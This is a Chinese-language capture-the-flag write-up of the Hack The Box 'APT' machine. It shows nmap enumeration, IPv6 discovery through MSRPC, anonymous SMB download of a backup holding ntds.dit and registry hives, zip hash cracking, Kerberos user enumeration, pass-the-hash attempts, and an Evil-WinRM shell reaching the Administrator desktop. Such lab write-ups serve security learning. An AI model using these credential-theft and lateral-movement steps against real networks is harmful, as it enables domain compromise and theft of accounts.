┌──(i3eg1nner㉿racknerd-4565a8)-[~/htb/apt] └─$ sudo nmap -sT -sV -sC -O -p80,135 10.10.10.213 [sudo] password for i3eg1nner: Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-01 07:49 EDT Nmap scan report for 10.10.10.213 Host is up (0.077s latency).
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Gigantic Hosting | Home | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2016 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Windows 操作系统，80 端口暴露了 Microsoft IIS httpd 10.0，135 端口是 msrpc 服务
Web 渗透
80 端口简单查看后发现，网页中有这样一个注释
1
<!-- Mirrored from 10.13.38.16/ by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 23 Dec 2019 08:12:54 GMT -->
尝试搜索了一下，并没有找到合适的利用方式。对于网页中的图片尝试使用 exiftool 和 file 命令进行了查看没有什么暗示。可提交界面中，写入一些数据提交后，显示的是无法连接10.13.38.16，和我们现在针对的 ip 并不相同。
MSRPC is an interprocess communication (IPC) mechanism that allows client/server software communcation. That process can be on the same computer, on the local network (LAN), or across the Internet. Its purpose is to provide a common interface between applications.Within Windows environments, many server applications are exposed via RPC. MSRPC (Microsoft Remote Procedure Call) Service Enumeration | 0xffsec Handbook
from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE from impacket.dcerpc.v5.dcomrt import IObjectExporter
Amazingly, this also worked on the Windows 10 host – even though we were denied access with rpcmap.py 推荐的第一篇 MSRPC 渗透的博客种提到了一个有意思的点，即使我们无法使用 rpcmap 来获取 endpoint 信息，但是如果 IObjectExporter(IOXIDResolver)是在目标上存在的，那么我们也可以使用上面的脚本来获得更多的 IP 信息
┌──(i3eg1nner㉿racknerd-4565a8)-[~/htb/apt] └─$ sudo nmap -6 --min-rate 10000 -p- dead:beef::b885:d62a:d679:573f Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-31 05:50 EDT Nmap scan report for dead:beef::b885:d62a:d679:573f Host is up (0.075s latency). Not shown: 65513 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown 49675/tcp open unknown 49698/tcp open unknown
┌──(i3eg1nner㉿racknerd-4565a8)-[~/htb/apt] └─$ sudo nmap -6 -sT -sV -sC -O -p53,80,88,135,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49675,49698 dead:beef::b885:d62a:d679:573f Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-31 06:02 EDT Nmap scan report for dead:beef::b885:d62a:d679:573f Host is up (0.075s latency).
PORT STATE SERVICE VERSION 53/tcp open domain? 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Bad Request | http-server-header: | Microsoft-HTTPAPI/2.0 |_ Microsoft-IIS/10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-31 02:02:38Z) 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) |_ssl-date: 2023-10-31T02:05:17+00:00; -7h59m52s from scanner time. | ssl-cert: Subject: commonName=apt.htb.local | Subject Alternative Name: DNS:apt.htb.local | Not valid before: 2020-09-24T07:07:18 |_Not valid after: 2050-09-24T07:17:18 445/tcp open @ Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=apt.htb.local | Subject Alternative Name: DNS:apt.htb.local | Not valid before: 2020-09-24T07:07:18 |_Not valid after: 2050-09-24T07:17:18 |_ssl-date: 2023-10-31T02:05:16+00:00; -7h59m52s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) |_ssl-date: 2023-10-31T02:05:17+00:00; -7h59m52s from scanner time. | ssl-cert: Subject: commonName=apt.htb.local | Subject Alternative Name: DNS:apt.htb.local | Not valid before: 2020-09-24T07:07:18 |_Not valid after: 2050-09-24T07:17:18 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) |_ssl-date: 2023-10-31T02:05:16+00:00; -7h59m52s from scanner time. | ssl-cert: Subject: commonName=apt.htb.local | Subject Alternative Name: DNS:apt.htb.local | Not valid before: 2020-09-24T07:07:18 |_Not valid after: 2050-09-24T07:17:18 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Bad Request 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Bad Request 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49675/tcp open msrpc Microsoft Windows RPC 49698/tcp open msrpc Microsoft Windows RPC No OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94%E=6%D=10/31%OT=53%CT=%CU=%PV=N%DS=1%DC=D%G=Y%TM=6540D155%P= OS:x86_64-pc-linux-gnu)S1(P=6000{4}28063fXX{32}0035912e625508a24c684c45a01 OS:22000bd8e000002040528010303080402080a0011ce2cff{4}%ST=0.019267%RT=0.096 OS:775)S2(P=6000{4}28063fXX{32}0035912f2cb44c9b4c684c46a0122000aed10000020 OS:40528010303080402080a0011ce8fff{4}%ST=0.11927%RT=0.193719)S3(P=6000{4}2 OS:8063fXX{32}003591305a6279a74c684c47a012200056b1000002040528010303080101 OS:080a0011cef4ff{4}%ST=0.219266%RT=0.293891)S4(P=6000{4}28063fXX{32}00359 OS:131b00a892d4c684c48a0122000ee1b000002040528010303080402080a0011cf58ff{4 OS:}%ST=0.319191%RT=0.394095)S5(P=6000{4}28063fXX{32}003591323dc5194c4c684 OS:c49a0122000cfdd000002040528010303080402080a0011cfbbff{4}%ST=0.419209%RT OS:=0.493783)S6(P=6000{4}24063fXX{32}00359133be30065e4c684c4a9012200076080 OS:000020405280402080a0011d020ff{4}%ST=0.519251%RT=0.593973)IE1(P=6000{4}8 OS:03a3fXX{32}8100cad0abcd00{122}%ST=0.562513%RT=0.636932)TECN(P=602000{3} OS:20063fXX{32}00359134dca3711d4c684c4b80522000cfc700000204052801030308010 OS:10402%ST=0.760972%RT=0.835817)EXTRA(FL=12345)
Network Distance: 1 hop Service Info: Host: APT; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: apt | NetBIOS computer name: APT\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: apt.htb.local |_ System time: 2023-10-31T02:05:02+00:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-time: | date: 2023-10-31T02:05:05 |_ start_date: 2023-10-31T01:45:51 |_clock-skew: mean: -7h59m51s, deviation: 0s, median: -7h59m52s
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 165.81 seconds
我们提取一下关键信息
1 2 3
389端口暴露了apt.htb.local 445端口暴露了Windows Server2016 Standard 计算机名apt，域名htb.local
┌──(i3eg1nner㉿racknerd-4565a8)-[~/htb/apt] └─$ sudo smbclient -L //htb.local [sudo] password for i3eg1nner: Password for [WORKGROUP\root]: Anonymous login successful
Sharename Type Comment --------- ---- ------- backup Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share htb.local is an IPv6 address -- no workgroup available
我们先尝试访问 backup 目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(i3eg1nner㉿racknerd-4565a8)-[~/htb/apt] └─$ sudo smbclient //htb.local/backup Password for [WORKGROUP\root]: Anonymous login successful Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Sep 24 03:30:52 2020 .. D 0 Thu Sep 24 03:30:52 2020 backup.zip A 10650961 Thu Sep 24 03:30:32 2020
5114623 blocks of size 4096. 2632388 blocks available smb: \> get backup.zip getting file \backup.zip of size 10650961 as backup.zip (2632.6 KiloBytes/sec) (average 2632.6 KiloBytes/sec) smb: \> exit
┌──(i3eg1nner㉿racknerd-4565a8)-[~/htb/apt] └─$ zip2john backup.zip ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB ts=9CCA cs=acd0 type=8 ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785 ts=9CCA cs=2a39 type=8 ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3 ts=9AC6 cs=9beb type=8 ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD ts=9AC6 cs=65d9 type=8 backup.zip:$pkzip$4*1*1*0*8*24*9beb*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*65d9*2a1c4c81fb6009425c2d904699497b75d843f69f8e623e3edb81596de9e732057d17fae8*1*0*8*24*acd0*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip$::backup.zip:Active Directory/ntds.jfm, registry/SECURITY, registry/SYSTEM, Active Directory/ntds.dit:backup.zip NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.
先使用 zip2john 来获得哈希，接下来使用 john 爆破
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(i3eg1nner㉿racknerd-4565a8)-[~/htb/apt] └─$ vim ziphash
┌──(i3eg1nner㉿racknerd-4565a8)-[~/htb/apt] └─$ sudo john ziphash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status iloveyousomuch (backup.zip) 1g 0:00:00:00 DONE (2023-10-3107:09) 100.0g/s 819200p/s 819200c/s 819200C/s newzealand..whitetiger Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(i3eg1nner㉿racknerd-4565a8)-[~/htb/apt] └─$ sudo nmap -6 -p88 --script=krb5-enum-users --script-args krb5-enum-users.realm='htb.local',userdb=user_list htb.local [sudo] password for i3eg1nner: Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-31 10:07 EDT Nmap scan report for htb.local (dead:beef::b885:d62a:d679:573f) Host is up (0.079s latency).
PORT STATE SERVICE 88/tcp open kerberos-sec | krb5-enum-users: | Discovered Kerberos principals | Administrator@htb.local | APT$@htb.local |_ henry.vinson@htb.local
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds
扫描结果一致，且 nmap 扫描速度快得多。
接下来尝试使用 crackmapexec 工具来对 smb, ladp, winrm 进行哈希传递攻击，这里红队笔记 UP 触发了防护机制，导致 IP 被禁，这里只放一张截图，留作备注
Impacket’s Implementation creates a remote service by uploading a randomly-named executable to the hidden Windows ADMIN$ share, registering a service via RPC and the Windows Service Control Manager, and then communicating over named a named pipe.And it will often get caught by antivirus. Psexec requires credentials for a user with local administrator privileges or higher since reading/writing to the ADMIN$ share is required. use exit command instand of ctrl + C
Wmiexec.py runs commands as the authenticated local administrator, rather than NT AUTHORITY\SYSTEM .Wmiexec.py uses the Windows Management Instrumentation and DCOM to create a windows process to run commands. Like some of the above methods, it writes the output out to a temp file in an SMB share ( ADMIN$ by default) and then retrieves the output and deletes the file.
smbexec creates a batch file for each command that you run, then creates a service to run the file using cmd.exe. It redirects STDOUT and STDERR to a temporary file on a readable SMB share.This will generate a lot of windows event logs since you’re creating and deleting a lot of services
This Impacket script is ripped straight out of the reg.exe of the Windows OS. Reg.exe is an executable service that can read, modify and delete registry values when used with eh combination of the query, add, delete keywords respectively. We can even begin to express the importance of access to the registry. Registry controls each and every aspect of the system. It can be used to gain information about the various policies, software and also alter some of those policies.
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents>
成功 Getshell，在桌面中找到了 flag
1 2 3 4 5 6 7 8 9 10 11 12
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> dir C:\Users
Directory: C:\Users
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/24/20207:54 AM Administrator d----- 9/24/20208:39 AM henry.vinson d----- 9/24/20208:40 AM henry.vinson_adm d-r--- 11/21/20162:39 AM Public
提权
四处翻找一下，看看有哪些提权路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> dir C:\
Directory: C:\
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/24/2020 8:30 AM backup d----- 9/24/2020 8:19 AM inetpub d----- 9/16/2020 7:45 PM PerfLogs d-r--- 10/22/2020 5:52 PM Program Files d----- 11/21/2016 2:36 AM Program Files (x86) d----- 9/24/2020 11:05 AM scripts d-r--- 9/24/2020 8:40 AM Users d----- 3/17/2021 3:33 PM Windows
backup 目录是之前 smb 获取到的共享目录。
1 2 3 4 5 6 7 8 9
*Evil-WinRM* PS C:\backup> dir
Directory: C:\backup
Mode LastWriteTime Length Name --------------------------- -a----9/24/2020 8:30 AM 10650961 backup.zip
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 11/1/2023 4:57 AM 34 root.txt
